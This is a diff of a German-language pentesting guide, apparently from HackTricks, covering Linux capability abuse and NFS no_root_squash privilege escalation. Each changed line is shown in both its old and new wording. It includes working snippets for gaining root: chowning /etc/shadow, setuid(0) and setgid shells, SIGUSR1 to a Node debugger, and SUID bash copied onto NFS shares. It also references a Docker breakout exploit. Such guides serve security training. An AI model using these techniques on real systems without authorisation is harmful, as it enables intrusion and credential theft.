In diesem Fall nehmen wir an, dass die **`python`**-Binärdatei diese Fähigkeit hat. Um Root-Dateien aufzulisten, könnten Sie Folgendes tun:
```python
import os
for r, d, f in os.walk('/root'):
@ -772,11 +772,11 @@ uid=0(root)
gid=0(root)
groups=0(root)
```
Im vorherigen Output können Sie sehen, dass die **DAC_READ_SEARCH**-Berechtigung aktiviert ist. Infolgedessen kann der Container **Prozesse debuggen**.
Innerhalb des vorherigen Outputs sehen Sie, dass die **DAC_READ_SEARCH**-Berechtigung aktiviert ist. Infolgedessen kann der Container **Prozesse debuggen**.
Sie können lernen, wie das folgende Exploit funktioniert in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), aber zusammenfassend lässt sich sagen, dass **CAP_DAC_READ_SEARCH** uns nicht nur erlaubt, das Dateisystem ohne Berechtigungsprüfungen zu durchqueren, sondern auch ausdrücklich alle Prüfungen für _**open_by_handle_at(2)**_ entfernt und **unserem Prozess den Zugriff auf sensible Dateien ermöglicht, die von anderen Prozessen geöffnet wurden**.
Das ursprüngliche Exploit, das diese Berechtigungen missbraucht, um Dateien vom Host zu lesen, kann hier gefunden werden: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), das Folgende ist eine **modifizierte Version, die es Ihnen ermöglicht, die Datei, die Sie lesen möchten, als erstes Argument anzugeben und sie in eine Datei zu dumpen.**
Das ursprüngliche Exploit, das diese Berechtigungen missbraucht, um Dateien vom Host zu lesen, finden Sie hier: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), das Folgende ist eine **modifizierte Version, die es Ihnen ermöglicht, die Datei, die Sie lesen möchten, als erstes Argument anzugeben und sie in eine Datei zu dumpen.**
```c
#include <stdio.h>
#include <sys/types.h>
@ -958,7 +958,7 @@ file.close()
```
**Beispiel mit Umgebung + CAP_DAC_READ_SEARCH (Docker-Ausbruch)**
Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers mit folgendem Befehl überprüfen:
Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers überprüfen mit:
```bash
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
@ -1117,11 +1117,11 @@ Um den Docker-Container zu verlassen, könnten Sie die Dateien `/etc/shadow` und
## CAP_CHOWN
**Das bedeutet, dass es möglich ist, den Besitz jeder Datei zu ändern.**
**Das bedeutet, dass es möglich ist, den Eigentümer jeder Datei zu ändern.**
**Beispiel mit Binärdatei**
Angenommen, die **`python`**-Binärdatei hat diese Fähigkeit, Sie können den **Besitzer** der **shadow**-Datei **ändern**, das **Root-Passwort ändern** und Privilegien eskalieren:
Angenommen, die **`python`**-Binärdatei hat diese Fähigkeit, Sie können den **Eigentümer** der **shadow**-Datei **ändern**, das **Root-Passwort ändern** und Privilegien eskalieren:
```bash
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
```
@ -1145,7 +1145,7 @@ python -c 'import os;os.chmod("/etc/shadow",0666)
**Beispiel mit Binärdatei**
Wenn Python diese **Fähigkeit** hat, können Sie sie sehr leicht missbrauchen, um die Berechtigungen auf root zu eskalieren:
Wenn Python diese **capability** hat, können Sie dies sehr einfach ausnutzen, um die Berechtigungen auf root zu eskalieren:
```python
import os
os.setuid(0)
@ -1177,13 +1177,13 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
```
Sobald Sie eine Datei gefunden haben, die Sie missbrauchen können (durch Lesen oder Schreiben), um die Berechtigungen zu erhöhen, können Sie **eine Shell erhalten, die die interessante Gruppe imitiert** mit:
Sobald Sie eine Datei gefunden haben, die Sie missbrauchen können (durch Lesen oder Schreiben), um die Berechtigungen zu erhöhen, können Sie **eine Shell erhalten, die die interessante Gruppe impersoniert** mit:
```python
import os
os.setgid(42)
os.system("/bin/bash")
```
In diesem Fall wurde die Gruppe shadow imitiert, sodass Sie die Datei `/etc/shadow` lesen können:
In diesem Fall wurde die Gruppe shadow impersonifiziert, sodass Sie die Datei `/etc/shadow` lesen können:
```bash
cat /etc/shadow
```
@ -1241,8 +1241,8 @@ CapAmb: 0000000000000000
capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
```
Diese Fähigkeit erlaubt es, **anderen Binaries beliebige andere Fähigkeiten zu geben**, sodass wir darüber nachdenken könnten, **aus dem Container zu entkommen, indem wir eine der anderen Fähigkeitspunkte** auf dieser Seite ausnutzen.\
Wenn Sie jedoch versuchen, beispielsweise die Fähigkeiten CAP_SYS_ADMIN und CAP_SYS_PTRACE an die gdb-Binärdatei zu vergeben, werden Sie feststellen, dass Sie sie vergeben können, aber die **Binärdatei nach diesem Schritt nicht mehr ausgeführt werden kann**:
Diese Fähigkeit erlaubt es, **anderen Binaries beliebige Fähigkeiten zu geben**, sodass wir darüber nachdenken könnten, **aus dem Container zu entkommen, indem wir eine der anderen auf dieser Seite erwähnten Fähigkeitspunkte ausnutzen**.\
Wenn Sie jedoch versuchen, beispielsweise die Fähigkeiten CAP_SYS_ADMIN und CAP_SYS_PTRACE an die gdb-Binärdatei zu vergeben, werden Sie feststellen, dass Sie sie vergeben können, aber die **Binärdatei nach dieser Vergabe nicht mehr ausgeführt werden kann**:
```bash
getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
@ -1255,12 +1255,12 @@ bash: /usr/bin/gdb: Operation not permitted
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Erlaubt: Dies ist ein **einschränkendes Superset für die effektiven Fähigkeiten**, die der Thread annehmen kann. Es ist auch ein einschränkendes Superset für die Fähigkeiten, die von einem Thread, der **nicht die CAP_SETPCAP** Fähigkeit in seinem effektiven Set hat, zum vererbbaren Set hinzugefügt werden können._\
Es scheint, dass die erlaubten Fähigkeiten diejenigen einschränken, die verwendet werden können.\
Allerdings gewährt Docker standardmäßig auch die **CAP_SETPCAP**, sodass Sie möglicherweise **neue Fähigkeiten innerhalb der vererbbaren hinzufügen** können.\
In der Dokumentation dieser Fähigkeit steht: _CAP_SETPCAP : \[…] **fügt jede Fähigkeit aus dem begrenzenden** Set des aufrufenden Threads zu seinem vererbbaren Set hinzu_.\
Es scheint, dass wir nur Fähigkeiten aus dem begrenzenden Set zum vererbbaren Set hinzufügen können. Das bedeutet, dass **wir keine neuen Fähigkeiten wie CAP_SYS_ADMIN oder CAP_SYS_PTRACE in das Vererbungsset setzen können, um Privilegien zu eskalieren**.
In der Dokumentation zu dieser Fähigkeit heißt es: _CAP_SETPCAP : \[…] **fügt jede Fähigkeit aus dem begrenzenden** Set des aufrufenden Threads zu seinem vererbbaren Set hinzu_.\
Es scheint, dass wir nur Fähigkeiten aus dem begrenzenden Set zum vererbbaren Set hinzufügen können. Das bedeutet, dass **wir keine neuen Fähigkeiten wie CAP_SYS_ADMIN oder CAP_SYS_PTRACE in das Erbschaftsset setzen können, um Privilegien zu eskalieren**.
## CAP_SYS_RAWIO
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) bietet eine Reihe sensibler Operationen, einschließlich Zugriff auf `/dev/mem`, `/dev/kmem` oder `/proc/kcore`, Modifikation von `mmap_min_addr`, Zugriff auf die Systemaufrufe `ioperm(2)` und `iopl(2)` sowie verschiedene Festplattenbefehle. Der `FIBMAP ioctl(2)` wird ebenfalls über diese Fähigkeit aktiviert, was in der [Vergangenheit](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html) zu Problemen geführt hat. Laut der Man-Seite ermöglicht dies dem Inhaber auch, beschreibend `eine Reihe von gerätespezifischen Operationen auf anderen Geräten durchzuführen`.
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) bietet eine Reihe sensibler Operationen, einschließlich Zugriff auf `/dev/mem`, `/dev/kmem` oder `/proc/kcore`, Modifikation von `mmap_min_addr`, Zugriff auf die Systemaufrufe `ioperm(2)` und `iopl(2)` sowie verschiedene Festplattenbefehle. Der `FIBMAP ioctl(2)` wird ebenfalls über diese Fähigkeit aktiviert, was in der [Vergangenheit](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html) zu Problemen geführt hat. Laut der Man-Seite ermöglicht dies dem Inhaber auch, `eine Reihe von gerätespezifischen Operationen auf anderen Geräten durchzuführen`.
Dies kann nützlich sein für **Privilegieneskalation** und **Docker-Ausbrüche.**
@ -1270,7 +1270,7 @@ Dies kann nützlich sein für **Privilegieneskalation** und **Docker-Ausbrüche.
**Beispiel mit Binärdatei**
Angenommen, die **`python`** Binärdatei hat diese Fähigkeit. Wenn Sie **auch einige Dienst- oder Socket-Konfigurationen** (oder eine beliebige Konfigurationsdatei, die mit einem Dienst verbunden ist) ändern könnten, könnten Sie es mit einem Hintertür versehen und dann den Prozess, der mit diesem Dienst verbunden ist, beenden und auf die Ausführung der neuen Konfigurationsdatei mit Ihrer Hintertür warten.
Angenommen, die **`python`** Binärdatei hat diese Fähigkeit. Wenn Sie **auch einige Dienst- oder Socket-Konfigurationen** (oder eine beliebige Konfigurationsdatei, die mit einem Dienst zusammenhängt) ändern könnten, könnten Sie es mit einem Hintertür versehen und dann den Prozess, der mit diesem Dienst verbunden ist, beenden und auf die Ausführung der neuen Konfigurationsdatei mit Ihrer Hintertür warten.
```python
#Use this python code to kill arbitrary processes
import os
@ -1280,7 +1280,7 @@ os.killpg(pgid, signal.SIGKILL)
```
**Privesc mit kill**
Wenn Sie kill-Berechtigungen haben und ein **Node-Programm als Root** (oder als ein anderer Benutzer) läuft, könnten Sie wahrscheinlich **es** das **Signal SIGUSR1** **senden** und es **den Node-Debugger öffnen** lassen, zu dem Sie eine Verbindung herstellen können.
Wenn Sie kill-Berechtigungen haben und ein **Node-Programm als root** (oder als ein anderer Benutzer) läuft, könnten Sie wahrscheinlich **es** das **Signal SIGUSR1** **senden** und es **den Node-Debugger öffnen** lassen, zu dem Sie eine Verbindung herstellen können.
```bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
@ -1289,9 +1289,10 @@ kill -s SIGUSR1 <nodejs-ps>
electron-cef-chromium-debugger-abuse.md
{{#endref}}
## CAP_NET_BIND_SERVICE
**Das bedeutet, dass es möglich ist, an jedem Port (auch an privilegierten) zu lauschen.** Sie können die Berechtigungen nicht direkt mit dieser Fähigkeit erhöhen.
**Das bedeutet, dass es möglich ist, an jedem Port (auch an privilegierten) zu lauschen.** Mit dieser Fähigkeit können Sie die Berechtigungen nicht direkt erhöhen.
**Beispiel mit Binärdatei**
@ -1325,16 +1326,16 @@ s.connect(('10.10.10.10',500))
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) Berechtigung erlaubt Prozessen, **RAW- und PACKET-Sockets** zu erstellen, wodurch sie in der Lage sind, beliebige Netzwerkpakete zu generieren und zu senden. Dies kann zu Sicherheitsrisiken in containerisierten Umgebungen führen, wie z.B. Paket-Spoofing, Traffic-Injection und Umgehung von Netzwerkzugangskontrollen. Böswillige Akteure könnten dies ausnutzen, um die Container-Routing zu stören oder die Netzwerksicherheit des Hosts zu gefährden, insbesondere ohne angemessene Firewall-Schutzmaßnahmen. Darüber hinaus ist **CAP_NET_RAW** entscheidend für privilegierte Container, um Operationen wie Ping über RAW-ICMP-Anfragen zu unterstützen.
**Das bedeutet, dass es möglich ist, den Verkehr abzuhören.** Sie können die Berechtigungen mit dieser Fähigkeit nicht direkt erhöhen.
**Das bedeutet, dass es möglich ist, den Verkehr abzuhören.** Sie können mit dieser Berechtigung keine Privilegien direkt eskalieren.
**Beispiel mit Binärdatei**
**Beispiel mit Binary**
Wenn die Binärdatei **`tcpdump`** diese Berechtigung hat, können Sie sie verwenden, um Netzwerkdaten zu erfassen.
Wenn das Binary **`tcpdump`** diese Berechtigung hat, können Sie es verwenden, um Netzwerkdaten zu erfassen.
```bash
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
```
Beachten Sie, dass Sie, wenn die **Umgebung** diese Fähigkeit bereitstellt, auch **`tcpdump`** verwenden könnten, um den Verkehr abzuhören.
Beachten Sie, dass Sie, wenn die **Umgebung** diese Fähigkeit bereitstellt, auch **`tcpdump`** verwenden können, um den Verkehr abzuhören.
**Beispiel mit Binärdatei 2**
@ -1384,11 +1385,11 @@ count=count+1
```
## CAP_NET_ADMIN + CAP_NET_RAW
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) Fähigkeit gewährt dem Inhaber die Möglichkeit, **Netzwerkkonfigurationen zu ändern**, einschließlich Firewall-Einstellungen, Routing-Tabellen, Socket-Berechtigungen und Netzwerkschnittstelleneinstellungen innerhalb der exponierten Netzwerk-Namensräume. Es ermöglicht auch das Aktivieren des **Promiscuous Mode** auf Netzwerkschnittstellen, was das Sniffen von Paketen über Namensräume hinweg erlaubt.
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) Berechtigung gewährt dem Inhaber die Möglichkeit, **Netzwerkkonfigurationen** zu **ändern**, einschließlich Firewall-Einstellungen, Routing-Tabellen, Socket-Berechtigungen und Netzwerkschnittstelleneinstellungen innerhalb der exponierten Netzwerk-Namensräume. Es ermöglicht auch das Aktivieren des **promiscuous mode** auf Netzwerkschnittstellen, was das Paket-Sniffing über Namensräume hinweg erlaubt.
**Beispiel mit Binärdatei**
Angenommen, die **python-Binärdatei** hat diese Fähigkeiten.
Angenommen, die **python-Binärdatei** hat diese Berechtigungen.
```python
#Dump iptables filter table rules
import iptc
@ -1429,7 +1430,7 @@ fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
```
> [!NOTE]
> [!TIP]
> Beachten Sie, dass dieses unveränderliche Attribut normalerweise mit folgendem Befehl gesetzt und entfernt wird:
>
> ```bash
@ -1442,21 +1443,21 @@ f.write('New content for the file\n')
[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ermöglicht die Ausführung des `chroot(2)` Systemaufrufs, der potenziell das Entkommen aus `chroot(2)`-Umgebungen durch bekannte Schwachstellen erlauben kann:
- [Wie man aus verschiedenen chroot-Lösungen ausbricht](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
- [chw00t: chroot Escape Tool](https://github.com/earthquake/chw00t/)
- [chw00t: chroot Escape-Tool](https://github.com/earthquake/chw00t/)
## CAP_SYS_BOOT
[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ermöglicht nicht nur die Ausführung des `reboot(2)` Systemaufrufs für Systemneustarts, einschließlich spezifischer Befehle wie `LINUX_REBOOT_CMD_RESTART2`, die für bestimmte Hardwareplattformen maßgeschneidert sind, sondern es ermöglicht auch die Verwendung von `kexec_load(2)` und, seit Linux 3.17, `kexec_file_load(2)` zum Laden neuer oder signierter Crash-Kernel.
[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ermöglicht nicht nur die Ausführung des `reboot(2)` Systemaufrufs für Systemneustarts, einschließlich spezifischer Befehle wie `LINUX_REBOOT_CMD_RESTART2`, die für bestimmte Hardwareplattformen maßgeschneidert sind, sondern es ermöglicht auch die Verwendung von `kexec_load(2)` und, ab Linux 3.17, `kexec_file_load(2)` zum Laden neuer oder signierter Crash-Kernel.
## CAP_SYSLOG
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) wurde in Linux 2.6.37 von der breiteren **CAP_SYS_ADMIN** getrennt und gewährt speziell die Fähigkeit, den `syslog(2)` Aufruf zu verwenden. Diese Fähigkeit ermöglicht das Anzeigen von Kerneladressen über `/proc` und ähnliche Schnittstellen, wenn die Einstellung `kptr_restrict` auf 1 gesetzt ist, die die Offenlegung von Kerneladressen steuert. Seit Linux 2.6.39 ist der Standard für `kptr_restrict` 0, was bedeutet, dass Kerneladressen offengelegt werden, obwohl viele Distributionen dies auf 1 (Adressen außer von uid 0 verbergen) oder 2 (Adressen immer verbergen) aus Sicherheitsgründen setzen.
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) wurde in Linux 2.6.37 von der breiteren **CAP_SYS_ADMIN** getrennt und gewährt speziell die Fähigkeit, den `syslog(2)` Aufruf zu verwenden. Diese Fähigkeit ermöglicht das Anzeigen von Kerneladressen über `/proc` und ähnliche Schnittstellen, wenn die Einstellung `kptr_restrict` auf 1 gesetzt ist, die die Offenlegung von Kerneladressen steuert. Seit Linux 2.6.39 ist der Standard für `kptr_restrict` 0, was bedeutet, dass Kerneladressen offengelegt werden, obwohl viele Distributionen dies aus Sicherheitsgründen auf 1 (Adressen außer von uid 0 verbergen) oder 2 (Adressen immer verbergen) setzen.
Zusätzlich erlaubt **CAP_SYSLOG** den Zugriff auf die `dmesg`-Ausgabe, wenn `dmesg_restrict` auf 1 gesetzt ist. Trotz dieser Änderungen behält **CAP_SYS_ADMIN** die Fähigkeit, `syslog`-Operationen aufgrund historischer Präzedenzfälle durchzuführen.
Darüber hinaus ermöglicht **CAP_SYSLOG** den Zugriff auf die `dmesg`-Ausgabe, wenn `dmesg_restrict` auf 1 gesetzt ist. Trotz dieser Änderungen behält **CAP_SYS_ADMIN** die Fähigkeit, `syslog`-Operationen aufgrund historischer Präzedenzfälle durchzuführen.
## CAP_MKNOD
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) erweitert die Funktionalität des `mknod` Systemaufrufs über die Erstellung regulärer Dateien, FIFOs (benannte Pipes) oder UNIX-Domänensockets hinaus. Es erlaubt speziell die Erstellung von speziellen Dateien, zu denen gehören:
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) erweitert die Funktionalität des `mknod` Systemaufrufs über die Erstellung regulärer Dateien, FIFOs (benannte Pipes) oder UNIX-Domänensockets hinaus. Es ermöglicht speziell die Erstellung von speziellen Dateien, zu denen gehören:
- **S_IFCHR**: Zeichenspezialdateien, die Geräte wie Terminals sind.
- **S_IFBLK**: Block-Spezialdateien, die Geräte wie Festplatten sind.
@ -1498,23 +1499,23 @@ ps aux | grep -i container_name | grep -i standarduser
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb
```
Dieser Ansatz ermöglicht es dem Standardbenutzer, über den Container auf `/dev/sdb` zuzugreifen und potenziell Daten zu lesen, indem er gemeinsame Benutzernamensräume und Berechtigungen nutzt, die auf dem Gerät festgelegt sind.
Dieser Ansatz ermöglicht es dem Standardbenutzer, über den Container auf `/dev/sdb` zuzugreifen und potenziell Daten zu lesen, indem er gemeinsame Benutzer-Namensräume und Berechtigungen nutzt, die auf dem Gerät festgelegt sind.
### CAP_SETPCAP
**CAP_SETPCAP** ermöglicht es einem Prozess, **die Fähigkeitssätze** eines anderen Prozesses zu **ändern**, was die Hinzufügung oder Entfernung von Fähigkeiten aus den effektiven, vererbbaren und erlaubten Sätzen ermöglicht. Ein Prozess kann jedoch nur Fähigkeiten ändern, die er in seinem eigenen erlaubten Satz besitzt, um sicherzustellen, dass er die Privilegien eines anderen Prozesses nicht über sein eigenes Niveau hinaus erhöhen kann. Neuere Kernel-Updates haben diese Regeln verschärft und `CAP_SETPCAP` nur erlaubt, die Fähigkeiten innerhalb seines eigenen oder der erlaubten Sätze seiner Nachkommen zu verringern, um Sicherheitsrisiken zu mindern. Die Nutzung erfordert, dass `CAP_SETPCAP` im effektiven Satz und die Zielfähigkeiten im erlaubten Satz vorhanden sind, wobei `capset()` für Änderungen verwendet wird. Dies fasst die Kernfunktion und Einschränkungen von `CAP_SETPCAP` zusammen und hebt seine Rolle im Privilegienmanagement und der Sicherheitsverbesserung hervor.
**CAP_SETPCAP** ermöglicht es einem Prozess, **die Fähigkeitssätze** eines anderen Prozesses zu **ändern**, was das Hinzufügen oder Entfernen von Fähigkeiten aus den effektiven, vererbbaren und erlaubten Sätzen ermöglicht. Ein Prozess kann jedoch nur Fähigkeiten ändern, die er in seinem eigenen erlaubten Satz besitzt, um sicherzustellen, dass er die Privilegien eines anderen Prozesses nicht über sein eigenes Niveau hinaus erhöhen kann. Neuere Kernel-Updates haben diese Regeln verschärft und `CAP_SETPCAP` nur erlaubt, die Fähigkeiten innerhalb seines eigenen oder der erlaubten Sätze seiner Nachkommen zu verringern, um Sicherheitsrisiken zu mindern. Die Nutzung erfordert, dass `CAP_SETPCAP` im effektiven Satz und die Zielfähigkeiten im erlaubten Satz vorhanden sind, wobei `capset()` für Änderungen verwendet wird. Dies fasst die Kernfunktion und Einschränkungen von `CAP_SETPCAP` zusammen und hebt seine Rolle im Privilegienmanagement und der Sicherheitsverbesserung hervor.
**`CAP_SETPCAP`** ist eine Linux-Fähigkeit, die es einem Prozess ermöglicht, **die Fähigkeitssätze eines anderen Prozesses zu ändern**. Es gewährt die Möglichkeit, Fähigkeiten aus den effektiven, vererbbaren und erlaubten Fähigkeitssätzen anderer Prozesse hinzuzufügen oder zu entfernen. Es gibt jedoch bestimmte Einschränkungen, wie diese Fähigkeit verwendet werden kann.
Ein Prozess mit `CAP_SETPCAP` **kann nur Fähigkeiten gewähren oder entfernen, die in seinem eigenen erlaubten Fähigkeitssatz sind**. Mit anderen Worten, ein Prozess kann einem anderen Prozess keine Fähigkeit gewähren, wenn er diese Fähigkeit selbst nicht hat. Diese Einschränkung verhindert, dass ein Prozess die Privilegien eines anderen Prozesses über sein eigenes Privilegienniveau hinaus erhöht.
Ein Prozess mit `CAP_SETPCAP` **kann nur Fähigkeiten gewähren oder entfernen, die in seinem eigenen erlaubten Fähigkeitssatz enthalten sind**. Mit anderen Worten, ein Prozess kann einem anderen Prozess keine Fähigkeit gewähren, wenn er diese Fähigkeit selbst nicht hat. Diese Einschränkung verhindert, dass ein Prozess die Privilegien eines anderen Prozesses über sein eigenes Privilegienniveau hinaus erhöht.
Darüber hinaus wurde die Fähigkeit `CAP_SETPCAP` in neueren Kernel-Versionen **weiter eingeschränkt**. Sie erlaubt es einem Prozess nicht mehr, willkürlich die Fähigkeitssätze anderer Prozesse zu ändern. Stattdessen **erlaubt sie es einem Prozess nur, die Fähigkeiten in seinem eigenen erlaubten Fähigkeitssatz oder dem erlaubten Fähigkeitssatz seiner Nachkommen zu verringern**. Diese Änderung wurde eingeführt, um potenzielle Sicherheitsrisiken im Zusammenhang mit der Fähigkeit zu reduzieren.
Darüber hinaus wurde die Fähigkeit `CAP_SETPCAP` in neueren Kernel-Versionen **weiter eingeschränkt**. Sie erlaubt es einem Prozess nicht mehr, die Fähigkeitssätze anderer Prozesse willkürlich zu ändern. Stattdessen **erlaubt sie es einem Prozess nur, die Fähigkeiten in seinem eigenen erlaubten Fähigkeitssatz oder dem erlaubten Fähigkeitssatz seiner Nachkommen zu verringern**. Diese Änderung wurde eingeführt, um potenzielle Sicherheitsrisiken im Zusammenhang mit der Fähigkeit zu reduzieren.
Um `CAP_SETPCAP` effektiv zu nutzen, müssen Sie die Fähigkeit in Ihrem effektiven Fähigkeitssatz und die Zielfähigkeiten in Ihrem erlaubten Fähigkeitssatz haben. Sie können dann den Systemaufruf `capset()` verwenden, um die Fähigkeitssätze anderer Prozesse zu ändern.
Zusammenfassend lässt sich sagen, dass `CAP_SETPCAP` es einem Prozess ermöglicht, die Fähigkeitssätze anderer Prozesse zu ändern, aber keine Fähigkeiten gewähren kann, die er selbst nicht hat. Darüber hinaus wurde aufgrund von Sicherheitsbedenken die Funktionalität in neueren Kernel-Versionen eingeschränkt, um nur das Verringern von Fähigkeiten in seinem eigenen erlaubten Fähigkeitssatz oder den erlaubten Fähigkeitssätzen seiner Nachkommen zuzulassen.
## References
## Referenzen
**Die meisten dieser Beispiele stammen aus einigen Laboren von** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), also wenn Sie diese Privesc-Techniken üben möchten, empfehle ich diese Labore.

View File

@ -1,8 +1,10 @@
# NFS No Root Squash Misconfiguration Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
# Squashing Grundinformationen
## Squashing Basic Info
NFS wird normalerweise (insbesondere unter Linux) dem angegebenen `uid` und `gid` des Clients, der sich verbindet, vertrauen, um auf die Dateien zuzugreifen (wenn Kerberos nicht verwendet wird). Es gibt jedoch einige Konfigurationen, die auf dem Server gesetzt werden können, um **dieses Verhalten zu ändern**:
NFS wird normalerweise (insbesondere unter Linux) dem angegebenen `uid` und `gid` des Clients, der auf die Dateien zugreift (wenn Kerberos nicht verwendet wird), vertrauen. Es gibt jedoch einige Konfigurationen, die auf dem Server gesetzt werden können, um **dieses Verhalten zu ändern**:
- **`all_squash`**: Es squash alle Zugriffe, indem jeder Benutzer und jede Gruppe auf **`nobody`** (65534 unsigned / -2 signed) abgebildet wird. Daher ist jeder `nobody` und es werden keine Benutzer verwendet.
- **`root_squash`/`no_all_squash`**: Dies ist standardmäßig unter Linux und **squasht nur den Zugriff mit uid 0 (root)**. Daher werden alle `UID` und `GID` vertraut, aber `0` wird auf `nobody` gesquasht (so ist keine Root-Imitation möglich).
@ -10,20 +12,20 @@ NFS wird normalerweise (insbesondere unter Linux) dem angegebenen `uid` und `gid
In der **/etc/exports**-Datei, wenn Sie ein Verzeichnis finden, das als **no_root_squash** konfiguriert ist, können Sie **darauf zugreifen** **als Client** und **in dieses Verzeichnis schreiben**, **als ob** Sie der lokale **Root** der Maschine wären.
Für weitere Informationen über **NFS** siehe:
Für weitere Informationen über **NFS** überprüfen Sie:
{{#ref}}
../../network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
# Privilegieneskalation
## Privilege Escalation
## Remote Exploit
### Remote Exploit
Option 1 unter Verwendung von bash:
- **Dieses Verzeichnis** auf einer Client-Maschine einhängen und **als Root** die **/bin/bash**-Binärdatei in den eingehängten Ordner kopieren und ihr **SUID**-Rechte geben, und **von der Opfer**-Maschine diese bash-Binärdatei ausführen.
- Beachten Sie, dass, um Root innerhalb des NFS-Teils zu sein, **`no_root_squash`** auf dem Server konfiguriert sein muss.
- Wenn es jedoch nicht aktiviert ist, könnten Sie zu einem anderen Benutzer eskalieren, indem Sie die Binärdatei in den NFS-Teil kopieren und ihr die SUID-Berechtigung als den Benutzer geben, zu dem Sie eskalieren möchten.
Option 1 mit bash:
- **Mounten Sie dieses Verzeichnis** auf einer Client-Maschine und **kopieren Sie als Root** die **/bin/bash**-Binary in den eingehängten Ordner und geben Sie ihr **SUID**-Rechte, und **führen Sie von der Opfer**-Maschine diese bash-Binary aus.
- Beachten Sie, dass `no_root_squash` auf dem Server konfiguriert sein muss, um Root im NFS-Share zu sein.
- Wenn es jedoch nicht aktiviert ist, könnten Sie zu einem anderen Benutzer eskalieren, indem Sie die Binary in den NFS-Share kopieren und ihr die SUID-Berechtigung als den Benutzer geben, zu dem Sie eskalieren möchten.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -37,7 +39,7 @@ cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
Option 2 unter Verwendung von C kompiliertem Code:
- **Mounten Sie dieses Verzeichnis** auf einer Client-Maschine und **kopieren Sie als root** unser kompiliertes Payload in den gemounteten Ordner, das die SUID-Berechtigung ausnutzt, geben Sie ihm **SUID**-Rechte und **führen Sie von der Opfer**-Maschine diese Binärdatei aus (hier finden Sie einige [C SUID-Payloads](payloads-to-execute.md#c)).
- **Mounten Sie dieses Verzeichnis** auf einem Client-Rechner und **kopieren Sie als root** unser kompiliertes Payload in den gemounteten Ordner, das die SUID-Berechtigung ausnutzt, geben Sie ihm **SUID**-Rechte und **führen Sie von der Opfer**-Maschine diese Binärdatei aus (hier finden Sie einige [C SUID-Payloads](payloads-to-execute.md#c)).
- Dieselben Einschränkungen wie zuvor.
```bash
#Attacker, as root user
@ -52,28 +54,28 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Lokaler Exploit
### Lokaler Exploit
> [!NOTE]
> Beachten Sie, dass Sie, wenn Sie einen **Tunnel von Ihrem Rechner zum Opferrechner erstellen können, weiterhin die Remote-Version verwenden können, um diese Privilegieneskalation durch Tunneln der erforderlichen Ports auszunutzen**.\
> Der folgende Trick gilt, falls die Datei `/etc/exports` **eine IP angibt**. In diesem Fall **werden Sie auf keinen Fall** die **Remote-Exploit** verwenden können und müssen **diesen Trick ausnutzen**.\
> [!TIP]
> Beachten Sie, dass Sie, wenn Sie einen **Tunnel von Ihrem Rechner zum Opferrechner erstellen können, die Remote-Version weiterhin verwenden können, um diese Privilegieneskalation durch Tunneln der erforderlichen Ports auszunutzen**.\
> Der folgende Trick gilt, falls die Datei `/etc/exports` **eine IP angibt**. In diesem Fall **werden Sie auf keinen Fall** den **Remote-Exploit** verwenden können und müssen **diesen Trick ausnutzen**.\
> Eine weitere erforderliche Bedingung, damit der Exploit funktioniert, ist, dass **der Export in `/etc/export`** **das `insecure`-Flag verwenden muss**.\
> --_Ich bin mir nicht sicher, ob dieser Trick funktioniert, wenn `/etc/export` eine IP-Adresse angibt_--
## Grundinformationen
### Grundinformationen
